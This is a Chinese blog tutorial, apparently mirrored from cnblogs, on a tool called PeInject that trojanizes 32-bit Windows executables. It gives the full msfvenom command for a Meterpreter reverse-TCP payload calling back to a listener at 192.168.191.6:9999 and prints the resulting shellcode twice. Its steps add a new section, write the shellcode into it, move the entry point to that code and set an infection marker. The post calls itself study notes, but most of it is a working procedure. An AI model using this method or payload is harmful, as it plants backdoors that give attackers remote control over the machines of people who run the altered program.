zoukankan      html  css  js  c++  java
  • PeInject 程序ShellCode注入工具 [首发]

    PeInject工具是一款可用于将指定ShellCode代码注入到EXE可执行程序中,该工具原理是新建节区并将ShellCode插入到节内,最后将跳转地址修改为ShellCode反弹地址实现上线。

    主要作用: 将metasploit生成的ShellCode,插入到任意一个EXE程序中,程序直接实现反弹。(仅支持32位)


    工具功能如下所示。

    1.使用前应该使用Metasploit生成一段可以反弹的ShellCode,如下是我生成的反弹代码。

    [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.6 LPORT=9999 -f c
    [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    [-] No arch selected, selecting arch: x86 from the payload
    No encoder specified, outputting raw payload
    Payload size: 354 bytes
    Final size of c file: 1512 bytes
    unsigned char buf[] = 
    "xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89xe5"
    "x8bx52x0cx8bx52x14x31xffx8bx72x28x0fxb7x4ax26"
    "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
    "x75xefx52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78"
    "x85xc0x74x4cx01xd0x8bx58x20x01xd3x8bx48x18x50"
    "x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xac"
    "xc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
    "x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
    "x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
    "x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
    "x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
    "x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
    "x29x80x6bx00xffxd5x6ax0ax68xc0xa8xbfx06x68x02"
    "x00x27x0fx89xe6x50x50x50x50x40x50x40x50x68xea"
    "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
    "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
    "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
    "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
    "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
    "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
    "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
    "x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
    "xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
    "xf0xb5xa2x56x6ax00x53xffxd5";
    

    将这段ShellCode去掉描述部分,并保存为shell.txt文本,如下。

    "xfcxe8x8fx00x00x00x60x31xd2x64x8bx52x30x89xe5"
    "x8bx52x0cx8bx52x14x31xffx8bx72x28x0fxb7x4ax26"
    "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7x49"
    "x75xefx52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78"
    "x85xc0x74x4cx01xd0x8bx58x20x01xd3x8bx48x18x50"
    "x85xc9x74x3cx31xffx49x8bx34x8bx01xd6x31xc0xac"
    "xc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24"
    "x75xe0x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1c"
    "x01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59"
    "x5ax51xffxe0x58x5fx5ax8bx12xe9x80xffxffxffx5d"
    "x68x33x32x00x00x68x77x73x32x5fx54x68x4cx77x26"
    "x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54x50x68"
    "x29x80x6bx00xffxd5x6ax0ax68xc0xa8xbfx06x68x02"
    "x00x27x0fx89xe6x50x50x50x50x40x50x40x50x68xea"
    "x0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5x74x61"
    "xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67x00x00"
    "x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxffxd5x83"
    "xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00x56x6a"
    "x00x68x58xa4x53xe5xffxd5x93x53x6ax00x56x53x57"
    "x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58x68x00"
    "x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5x57x68"
    "x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85x70xff"
    "xffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1xc3xbb"
    "xf0xb5xa2x56x6ax00x53xffxd5";
    

    2.首先运行PEView查看当前节表,然后运行PeInject注入一个节表。

    运行PeInject添加一个.hack节,并设置节大小为4096,此处的大小必须是1024的倍数,且节名称必须小于7位。

    插入后,我们使用PEView验证是否已经插入完成了。

    此时我们需要记住[*] 节的文件起始位置: 0x000A9000 => DEC: 692224这一段后面的十进制数,692224 此处就是我们的新节的起始位置。我们可以使用PEView验证一下是否申请完成了。

    因为没有数据,所以全为0。

    3.执行注入功能,将文本中的shell注入到这片空旷的新区域内,此处传入的偏移地址就是上面的空旷区域。

    此时我们可以再次验证一下,这片区域内是否插入成功了,如下已插入完成了。

    记录下一些关键数据。

    [+] 注入起始FOA => 0x000A9000 <DEC = 692224 > 注入结束FOA => 0x000A9162 <DEC = 692578 >

    4.最后一步将OEP设置到ShellCode位置上去,此时需要先把,开始地址 692224 转换为VA格式。

    使用PEView完成转换,因为FOaToVa函数接收的是十六进制数,所以需要先转为十进制,十进制是 A9000 带着是文件中的偏移,我们需要的是内存偏移,其实在添加新节是已经有了。

    内存对其是B9000才对,我们利用PeView工具将其转换为十进制。

    此时节在内存中的开始地址是:b9000 结束地址是:b9162

    最后就是传参调用PeInject功能完成修改入口地址的操作。

    Msf设置侦听端口,完成上线。

    我们可以看一下执行流程,首先程序运行后,会自动跳转到B9000处,执行代码,这是因为OEP位置已被我们调整过了,你可以看看,OEP位置已经成了B9000了。

    B9000处就是我们的ShellCode代码位置,当程序执行完毕后,直接跳转回原始程序中继续中代码,如下是跳转回去的程序片段。

    B9000所在的文件偏移是A9000,所以我们定位到A9000处看一下就知道了。

    执行完ShellCode后,默认直接跳到原始OEP位置直接执行代码。

    5.最后执行增加感染标志,如果不增加标志,我们很可能忘记这个程序是否插入过shell,那么增加一个感染标志是必不可少的。


    许可协议: 文章中的代码均为学习时整理的笔记,博客中除去明确标注有参考文献的文章,其他文章【均为原创】作品,转载请务必【添加出处】,您添加出处是我创作的动力!
  • 相关阅读:
    OpenLayers调用arcgis server发布的地图服务
    在线实用网址
    ArcGlobe点击IGlobeServerLayer图层读取信息
    vs2012编译出错“LC.exe”已退出解决方法
    DataTable反向模糊匹配查找语法
    PyCharm如何删除工程项目
    mysql错误日志目录
    下载HTMLTestRunner 地址
    python 单元测试之初次尝试
    cmd 运行 python
  • 原文地址:https://www.cnblogs.com/LyShark/p/15002593.html
Copyright © 2011-2022 走看看